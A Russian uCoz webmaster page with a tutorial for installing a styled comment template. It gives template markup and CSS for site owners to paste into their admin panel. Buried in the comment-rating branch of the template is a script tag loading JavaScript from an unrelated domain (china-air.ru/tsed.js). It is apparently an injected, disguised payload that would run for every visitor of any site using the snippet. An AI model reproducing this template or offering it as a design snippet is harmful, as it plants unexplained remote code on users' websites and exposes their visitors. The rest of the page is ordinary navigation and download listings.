Воскресенье, 25.02.2018, 04:32


Вниз Главная Регистрация RSS
Приветствую Вас, Гость


Радио ТРАНС
Игротека
Наш опрос
Оцените мой сайт
Всего ответов: 88
Статистика
Яндекс.Метрика Яндекс.Метрика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком
14:59
Новый вид комментария для uCoz с уголком
Интернет Технологии [2]Телефоны [0]uCoz CSS КодыСкрипты [94]



Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код

Code
$COM_BODY$


и заменяем его на

Code
<ul class="cell_coment">  
  $COM_BODY$  
  </ul>


- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

Code
<li>  
  <div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>  
  <div class="coment_info">  
  <span class="tip"></span>  
  <div class="coment_os">  
  <div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>  
  <div class="coment_message left">$MESSAGE$</div>  
  <div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>  
  </div>  
  </div>  
  </li>


- и прописываем в css следующий код

Code
/* ВИД КОММЕНТАРИЯ  
  ===================================================*/  
  .cell_coment {  
  list-style: none;  
  padding: 0px;  
  margin: 0px;  
  }  
   
  .cell_coment li {  
  position: relative;  
  padding-left: 60px;  
  width: 500px;  
  }  
   
  .coment_info {  
  position: relative;  
  text-align:justify;  
  color: #555;  
  background: #fff;  
  border: 1px solid #C9C9C9;  
  padding: 10px;  
  margin-bottom: 30px;  
  }  
   
  .coment_os {  
  overflow: hidden;  
  }  
   
  .coment_name,  
  .coment_nomer {  
  padding-bottom: 5px;  
  }  
   
  .coment_message {  
  width: 100%;  
  border-top: 1px solid #C9C9C9;  
  border-bottom: 1px solid #C9C9C9;  
  padding: 5px 0px;  
  }  
   
  .coment_rating {  
  padding-top: 5px;  
  }  
   
  .coment_name,  
  .coment_nomer,  
  .coment_rating {  
  font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;  
  font-weight: bold;  
  }  
   
  .avatar a:hover,  
  .avatar {  
  position: absolute;  
  height: 45px;  
  width: 45px;  
  left: 0;  
  }  
   
  .avatar img {  
  height: 45px;  
  width: 45px;  
  border: none;  
  }  
   
  .tip{  
  position: absolute;  
  top: 10px;  
  left: -7px;  
  height: 13px;  
  width: 9px;  
  background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;  
  }  
   
  .coment_info,  
  .avatar a:hover {  
  box-shadow: 0px 0px 5px #999;  
  -moz-box-shadow: 0px 0px 5px #999;  
  -webkit-box-shadow: 0px 0px 5px #999;  
  }  
   
  .left {float:left;}  
  .right {float:right;}  
  .clear {clear:left;}  
   
  .coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}  
  /* =================================================*/


Просмотров: 308 | Добавил: startsmart | Рейтинг: 0.0/ 0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

 

Новое на сайте

 

Самое популярное

 

 Коды скрипты

Случайная статья

  • Чудо ферма \ Virtual farm 90
  • Cities XL Platinum 2013 75
  • Именем короля 3. Коллекционное издание 91
  • Браузер Maxthon 192
  • Download Master 5.12.1.1283 180
  • RIFT – многопользовательская онлайн игра 205
  • Улесье. Коллекционное издание 151
  • Articles – лучшая Wikipedia в кармане 175
  • Будущее настоящего прошлого_скачать 339
  • Darck Orbit – браузерная игра 196
  • iSendSMS - для отправки SMS и MMS 230
  • Lunascape 6.2 Универсальный браузер 188
  • XnView Full-один из лучших просмотрщиков -конверторов графических файлов 216
  • Бизнес Пак - бесплатно 271
  • AKVIS Chameleon - коллажи 321

  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29945
  • FrontPage 2003 Русская версия 11686
  • Игра "Фараон и Клеопатра" скачать бесплатно 6918
  • Mozilla Firefox 8.0.1 - русская версия скачать 4213
  • Новый Супер Марио 4152
  • Игра в Длинные нарды 4056
  • Медитация для привлечения Любви 3767
  • Сборник_Программа настроев Г.Н.Сытина скачать 2916
  • FFrontPage 2007 Русская версия 2844
  • Авто выключение компьютера_WinMend Auto Shutdown 2665
  • Астрон Дизайн - 3D моделирование Вашего дома 2116
  • Спец эффекты с ВебКамерой 2097
  • Штука - игра в карты 1799
  • Если хочешь быть счастливым - Литвак Михаил 1563
  • Программа для быстрого создания Flash-анимации 1528

  • Скрипт прокрутки страницы вверх.(ввиде коте) 299
  • Выдвижная кнопка ВКонтакте для uCoz 353
  • Плеер онлайн радио для сайтов UCOZ и DLE 286
  • Время в Москве 281
  • Лента комментариев 363
  • Информер - Новое на сайте 323
  • Девушка-модель на Ваш баннер со статистикой сайта uCoz 277
  • Android-планшет, PocketBook A 10 2105
  • Часы на ваш сайт,блог 323
  • Оригинальный вид опроса ucoz 318
  • Виджет социальных закладок 398
  • Топ пользователей для сайта ucoz 281
  • Мини профиль с временем суток и функциональным меню 279
  • Скрипт Переводчик от Microsoft 374
  • Скрипт - свежие скриншоты для Ucoz 304

  • Отправить SMS с сайта 276
  • Коте для вашего сайта 276
  • Новый вид статистики пользователей 277
  • Вид комментариев для uCoz v.5 277
  • Флэш проигрыватель с большим количеством радиостанций.. 277
  • Перевод сайта на 7 языков 277
  • Полная статистика Ucoz 277
  • Последние комментарии ucoz 277

  • 3D Sex Villa- Симулятор секса 447
  • Морхухн 4 мини игры 350
  • Хранитель паролей 244
  • Govorilka 3.1 Rus Говорун_Скачать бесплатно 29945
  • Urban Rivals RU онлайн карточная игра 172
  • Нюхтилин _КТО? _Книга скачать 344
  • SkyDrive - хранилище в интернете 397


  • Внимание!

    ВСЕ скачанные файлы с интернета, (и с нашего сайта, так же) перед запуском на своем компьютере рекомендуется ОБЯЗАТЕЛЬНО проверить Вашей антивирусной программой!
    Все файлы и программы взяты с интернет пространства.
    Администрация сайта не несет никакой ответственности за использование и последствия данных программ и файлов

    Вверх Главная Регистрация RSS
    Приветствую Вас, Гость